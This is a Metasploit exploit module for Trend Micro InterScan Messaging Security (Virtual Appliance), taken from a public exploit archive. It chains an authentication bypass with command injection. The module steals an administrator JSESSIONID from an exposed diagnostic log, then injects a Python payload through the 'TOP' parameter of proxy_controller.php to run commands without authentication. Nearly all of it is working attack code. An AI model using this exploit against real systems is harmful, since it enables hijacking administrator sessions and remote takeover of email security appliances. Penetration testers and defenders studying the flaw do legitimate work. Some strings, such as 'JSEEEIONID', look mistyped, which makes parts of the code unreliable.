Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution",  
'Description' => %q{  
This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a  
terminal command under the context of the web server user.  
  
The specific flaw exists within the management interface, which listens on TCP port 443 by default. Trend Micro IMSVA product  
have widget feature which is implemented with PHP. Insecurely configured web server exposes diagnostic.log file, which  
leads to an extraction of JSESSIONID value from administrator session. Proxy.php files under the mod TMCSS folder takes multiple parameter but the process  
does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities,  
unauthenticated users can execute a terminal command under the context of the web server user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'mr_me <[email protected]>', # author of command injection  
'Mehmet Ince <[email protected]>' # author of authentication bypass & msf module  
],  
'References' =>  
[  
['URL', 'https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/'],  
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-17-521/'],  
],  
'DefaultOptions' =>  
{  
'SSL' => true,  
'RPORT' => 8445  
},  
'Payload' =>  
{  
'Compat' =>  
{  
'ConnectionType' => '-bind'  
},  
},  
'Platform' => ['python'],  
'Arch' => ARCH_PYTHON,  
'Targets' => [[ 'Automatic', {}]],  
'Privileged' => false,  
'DisclosureDate' => "Oct 7 2017",  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI of the Trend Micro IMSVA management interface', '/'])  
]  
)  
end  
  
def extract_jsessionid  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'widget', 'repository', 'log', 'diagnostic.log')  
})  
if res && res.code == 200 && res.body.include?('JSEEEIONID')  
res.body.scan(/JSEEEIONID:([A-F0-9]{32})/).flatten.last  
else  
nil  
end  
end  
  
def widget_auth(jsessionid)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'widget', 'index.php'),  
'cookie' => "CurrentLocale=en-U=en_US; JSESSIONID=#{jsessionid}"  
})  
if res && res.code == 200 && res.body.include?('USER_GENERATED_WIDGET_DIR')  
res.get_cookies  
else  
nil  
end  
end  
  
def check  
# If we've managed to bypass authentication, that means target is most likely vulnerable.  
jsessionid = extract_jsessionid  
if jsessionid.nil?  
return Exploit::CheckCode::Safe  
end  
auth = widget_auth(jsessionid)  
if auth.nil?  
Exploit::CheckCode::Safe  
else  
Exploit::CheckCode::Appears  
end  
end  
  
def exploit  
print_status('Extracting JSESSIONID from publicly accessible log file')  
jsessionid = extract_jsessionid  
if jsessionid.nil?  
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")  
else  
print_good("Awesome. JSESSIONID value = #{jsessionid}")  
end  
  
print_status('Initiating session with widget framework')  
cookies = widget_auth(jsessionid)  
if cookies.nil?  
fail_with(Failure::NoAccess, "Latest JSESSIONID is expired. Wait for sysadmin to login IMSVA")  
else  
print_good('Session with widget framework successfully initiated.')  
end  
  
print_status('Trigerring command injection vulnerability')  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'widget', 'proxy_controller.php'),  
'cookie' => "CurrentLocale=en-US; LogonUser=root; JSESSIONID=#{jsessionid}; #{cookies}",  
'vars_post' => {  
'module' => 'modTMCSS',  
'serverid' => '1',  
'TOP' => "$(python -c \"#{payload.encoded}\")"  
}  
})  
end  
end  
`